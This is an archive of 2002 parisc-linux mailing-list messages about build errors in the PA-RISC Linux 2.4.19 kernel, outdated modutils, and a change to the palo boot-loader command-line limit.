sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2067: sizeof applied to an incomplete type
sys_parisc32.c: In function `cmsg32_recvmsg_fixup':
sys_parisc32.c:2136: dereferencing pointer to incomplete type
sys_parisc32.c:2137: dereferencing pointer to incomplete type
sys_parisc32.c:2138: dereferencing pointer to incomplete type
sys_parisc32.c:2140: dereferencing pointer to incomplete type
sys_parisc32.c:2141: sizeof applied to an incomplete type
sys_parisc32.c:2144: sizeof applied to an incomplete type
sys_parisc32.c:2145: dereferencing pointer to incomplete type
sys_parisc32.c:2130: warning: `clen64' might be used uninitialized in this
function
sys_parisc32.c: In function `sys32_recvmsg':
sys_parisc32.c:2234: dereferencing pointer to incomplete type
sys_parisc32.c:2284: `__kernel_size_t32' undeclared (first use in this
function)
sys_parisc32.c:2284: parse error before "uclen"
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: `uclen' undeclared (first use in this function)
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2285: dereferencing pointer to incomplete type
sys_parisc32.c:2283: warning: unused variable `ucmsg_ptr'
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2288: dereferencing pointer to incomplete type
sys_parisc32.c:2224: warning: `uaddr_len' might be used uninitialized in
this function
sys_parisc32.c: In function `get_fd_set32':
sys_parisc32.c:2526: warning: left shift count >= width of type
sys_parisc32.c: In function `set_fd_set32':
sys_parisc32.c:2555: warning: right shift count >= width of type
sys_parisc32.c: At top level:
sys_parisc32.c:2793: parse error before "__kernel_ino_t32"
sys_parisc32.c:2793: warning: no semicolon at end of struct or union
sys_parisc32.c:2797: parse error before '}' token
sys_parisc32.c:2803: parse error before "__kernel_ino_t32"
sys_parisc32.c:2803: warning: no semicolon at end of struct or union
sys_parisc32.c:2805: parse error before '}' token
sys_parisc32.c:2809: parse error before "__kernel_caddr_t32"
sys_parisc32.c:2809: warning: no semicolon at end of struct or union
sys_parisc32.c:2812: parse error before "ug_udimap"
sys_parisc32.c:2812: warning: type defaults to `int' in declaration of
`ug_udimap'
sys_parisc32.c:2812: warning: data definition has no type or storage class
sys_parisc32.c:2815: parse error before "ug_gdimap"
sys_parisc32.c:2815: warning: type defaults to `int' in declaration of
`ug_gdimap'
sys_parisc32.c:2815: warning: data definition has no type or storage class
sys_parisc32.c:2824: field `u_export' has incomplete type
sys_parisc32.c:2825: field `u_umap' has incomplete type
sys_parisc32.c:2826: field `u_getfh' has incomplete type
sys_parisc32.c:2928: parse error before "__kernel_time_t32"
sys_parisc32.c:2928: warning: no semicolon at end of struct or union
sys_parisc32.c:2929: warning: type defaults to `int' in declaration of
`dqb_itime'
sys_parisc32.c:2929: warning: data definition has no type or storage class
sys_parisc32.c: In function `sys32_quotactl':
sys_parisc32.c:2948: sizeof applied to an incomplete type
sys_parisc32.c:2950: dereferencing pointer to incomplete type
sys_parisc32.c:2951: dereferencing pointer to incomplete type
sys_parisc32.c:2964: dereferencing pointer to incomplete type
sys_parisc32.c:2965: dereferencing pointer to incomplete type
sys_parisc32.c:2967: sizeof applied to an incomplete type
sys_parisc32.c:3019:1: warning: "CP" redefined
sys_parisc32.c:3012:1: warning: this is the location of the previous
definition
make[1]: *** [sys_parisc32.o] Error 1
make: *** [_dir_arch/parisc/kernel] Error 2


Can anyone tell me this is, or what causes this.

Thanks

Alex



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 10:55:38 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20020805145538.GA31773@systemhalted>
References: <1028503560.977.15.camel@beavis> <20020805123404.GW7040@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621595 12000 80.91.229.3 (22 Nov 2014 01:59:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 08:56:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D36554829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 08:56:53 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bjGk-00018m-00; Mon, 05 Aug 2002 10:55:38 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020805123404.GW7040@charite.de>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15736

> 
> For me, it doesn't even BUILD!
> 
> (I build it on the box itself 712/80, gecko):
> 

Please include a list of the following:

1. Compiler version.
2. Binutils version.
3. Last time you ran "apt-get update; apt-get dist-upgrade;".
4. Running kernel version.
5. How you got the kernel source tree.
	- Did you 'cvs co' ontop of a 2.4.18 tree?
6. What steps you took to compile the kernel.
	- Did you try runnig 'make mrproper' first?
7. Full output of all the steps.

c.


From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: cmdline and commanline has different limits?
Date: Mon, 5 Aug 2002 10:59:19 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20020805145919.GB31773@systemhalted>
References: <3D4D7AF8.9030005@freebel.net> <20020804223618.GG19482@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621595 12004 80.91.229.3 (22 Nov 2014 01:59:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:55 +0000 (UTC)
To: Joel Soete <joel.soete@freebel.net>, bame@fc.hp.com,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:06:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA0DE4829
	for <parisc-linux@parisc-linux.org>; Mon,  5 Aug 2002 09:06:52 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bjKJ-00019d-00; Mon, 05 Aug 2002 10:59:19 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joel Soete <joel.soete@freebel.net>, bame@fc.hp.com,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020804223618.GG19482@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15737

> > I do not know yet if pad1 can be removed so that cmdline could reach 204 
> > [240-8-7*(sizeof int = 4?)] char lenght, also I prefer to let you choise.
> > 
> > Joel
> 
> I don't see why not? Would 200 characters be enough for your application?
> 
> I do think that "> 255" should be changed in palo.c
> 
> To push it out further would require teaching palo about 
> both formats (and understanding why the comment mentions 
> that all the data must fit in 256 byes).
> 
> c.

Joel,

I just talked to Bame and we both agree that those bytes would
best be left for future expansion.

I've made the change in palo.c such that it checks for "> 127"
I'll be cheking that in today, and a new deb of palo should be out
next week. If you would like to help in the testing process then 
checkout palo from cvs and you can build the package yourself.

The documentation for palo was updated to reflect a limit
in the -c argument.

Do you have a particular use for more than 127 bytes of command line
information? Passing a _lot_ of data via the command line is not 
accepted as good practice :}

c.



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 17:08:01 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20020805150801.GA21487@charite.de>
References: <1028503560.977.15.camel@beavis> <20020805123404.GW7040@charite.de> <20020805145538.GA31773@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621595 12005 80.91.229.3 (22 Nov 2014 01:59:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:08:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id E13A54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:08:02 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 8F2AA15C00A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 17:08:01 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 850C2633B4; Mon,  5 Aug 2002 17:08:01 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020805145538.GA31773@systemhalted>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15738

Am 05.08.2002 um 10:55:38 -0400 schrieb Carlos O'Donell folgendes:

> Please include a list of the following:
> 
> 1. Compiler version.

gcc            3.0.4-7

> 2. Binutils version.

binutils       2.12.90.0.15-1

> 3. Last time you ran "apt-get update; apt-get dist-upgrade;".

Today?

> 4. Running kernel version.

2.4.18-pa59

> 5. How you got the kernel source tree.
> 	- Did you 'cvs co' ontop of a 2.4.18 tree?

Did that. Then I thought this may not be smart and fetched the 2.4.19
pa0 tarball and did a "cvs co" on top of that. Nothing changed.

> 6. What steps you took to compile the kernel.
> 	- Did you try runnig 'make mrproper' first?

make-kpkg clean && make-kpkg --revision=20020805 kernel_image modules_image

> 7. Full output of all the steps.

That would be a little too much.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
(S)he's catching twenty winks under the floorboards, tread gingerly. 



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling 2.4.19-pa0
Date: Mon, 5 Aug 2002 11:18:39 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020805151839.GD31773@systemhalted>
References: <OE232NqFJ3sl3xbYiMC00003f35@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621596 12006 80.91.229.3 (22 Nov 2014 01:59:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:19:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E7BE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:19:52 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bjd1-0001DP-00; Mon, 05 Aug 2002 11:18:39 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Alex Green <alexdgreen@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <OE232NqFJ3sl3xbYiMC00003f35@hotmail.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15739

On Mon, Aug 05, 2002 at 04:17:45PM +0200, Alex Green wrote:
> Hi,
> 
> I'm trying to compile the latest kernel source from the parisc-linux ftp,
> 2.4.19-pa0 I belive and I get the following errors while doing the "make
> vmlinux":
> 

Please include a list of the following:

1. Compiler version.
2. Binutils version.
3. Modutils version.
4. Last time you ran "apt-get update; apt-get dist-upgrade;".
5. Running kernel version.
6. How you got the kernel source tree.
        - Did you 'cvs co' ontop of a 2.4.18 tree?
7. What steps you took to compile the kernel.
        - Did you try runnig 'make mrproper' first?

c.



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 17:20:42 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <OE56LoygXLsxpTljBOh0000669a@hotmail.com>
References: <sd4ea3d1.076@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621596 12008 80.91.229.3 (22 Nov 2014 01:59:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:56 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:20:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe56.law3.hotmail.com [209.185.240.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36F4B48A7
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:20:45 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 08:20:44 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 15:20:44.0958 (UTC) FILETIME=[AB2E1BE0:01C23C93]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15740

Ok,

It builds from source no problems and it works on parisc... well appears to
:).

Thanks,
Alex
----- Original Message -----
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, August 05, 2002 3:54 PM
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.


>there is only the 2.4.15 pkgs in the debian trees (stable, unstable and
>testing)
>
>where can the new modutils be retrieved from?
>
a single google-query would have shown they live in

/pub/linux/utils/kernel/moduitls/v2.4

in every kernel mirror you can find. I haven't tested newer versions on
pa-risc, BTW.

Good luck,
Jurriaan

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 11:25:00 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020805152500.GE31773@systemhalted>
References: <sd4e97dd.056@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621596 12013 80.91.229.3 (22 Nov 2014 01:59:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:56 +0000 (UTC)
Cc: Ralf.Hildebrandt@charite.de, rbradetich@uswest.net,
	parisc-linux@lists.parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:26:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DF914829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:26:30 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bjjF-0001Eh-00; Mon, 05 Aug 2002 11:25:05 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>,
	Ralf.Hildebrandt@charite.de, rbradetich@uswest.net,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <sd4e97dd.056@ms-zrt1>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15741

> >
> >For me, it doesn't even BUILD!
> >
> There is a noxious problem where the latest debian modutils are still at
> 2.4.15, and kernel-2.4.19 needs newer modutils. This can be solved
> by downloading a newer version of modutils (2.4.19 is the latest, IIRC) and
> installing those. The symptoms of too old modutils are lot of unresolved
> symbols - like  you see.
> 
> Good luck,
> Jurriaan
>

I had forgotten about that change.
Yes, you will need to update modutils...
ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4/modutils-2.4.19.tar.gz

I always have the latest source for this lying around and I forget 
about it :}

c.



From - Thu Nov 08 21:24:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling 2.4.19-pa0
Date: Mon, 5 Aug 2002 17:27:08 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <OE55uhhhETApmdUrmib0000099c@hotmail.com>
References: <OE232NqFJ3sl3xbYiMC00003f35@hotmail.com> <20020805151839.GD31773@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621597 12025 80.91.229.3 (22 Nov 2014 01:59:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:57 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:27:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe55.law3.hotmail.com [209.185.240.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EA054829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:27:11 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 08:27:10 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 15:27:10.0825 (UTC) FILETIME=[912CBD90:01C23C94]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15742

[....]

> On Mon, Aug 05, 2002 at 04:17:45PM +0200, Alex Green wrote:
> > Hi,
> >
> > I'm trying to compile the latest kernel source from the parisc-linux
ftp,
> > 2.4.19-pa0 I belive and I get the following errors while doing the "make
> > vmlinux":
> >
>
> Please include a list of the following:
>
> 1. Compiler version.

gcc-3.1.1 and gcc-3.0.4

> 2. Binutils version.

binutils-2.12.90.0.15-1

> 3. Modutils version.

modutils-2.4.19    * Built from source *

> 4. Last time you ran "apt-get update; apt-get dist-upgrade;".

Today

> 5. Running kernel version.

2.4.18 from woody

> 6. How you got the kernel source tree.
>         - Did you 'cvs co' ontop of a 2.4.18 tree?

no, i took the .tar.gz from the CVS on the ftp site, I have no access to cvs
* firewall *


> 7. What steps you took to compile the kernel.
>         - Did you try runnig 'make mrproper' first?

make clean dep vmlinux.....     Should I try running make mrproper first??




From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 17:34:43 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20020805153443.GB21487@charite.de>
References: <sd4ea3d1.076@ms-zrt1> <OE56LoygXLsxpTljBOh0000669a@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621597 12028 80.91.229.3 (22 Nov 2014 01:59:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
